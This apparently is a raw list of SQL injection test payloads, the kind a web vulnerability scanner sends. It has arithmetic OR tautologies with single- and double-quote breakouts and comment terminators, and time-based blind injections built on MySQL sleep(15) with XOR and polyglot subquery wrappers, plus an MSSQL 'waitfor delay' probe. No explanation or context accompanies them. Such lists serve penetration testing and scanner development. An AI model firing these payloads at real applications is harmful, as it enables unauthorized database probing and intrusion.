-1 OR 2+872-872-1=0+0+0+1 --

-1 OR 2+803-803-1=0+0+0+1

-1' OR 2+99-99-1=0+0+0+1 --

-1' OR 2+733-733-1=0+0+0+1 or 'GV0tqlmZ'='

-1" OR 2+538-538-1=0+0+0+1 --

1*if(now()=sysdate(),sleep(15),0)

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1-1; waitfor delay '0:0:15' --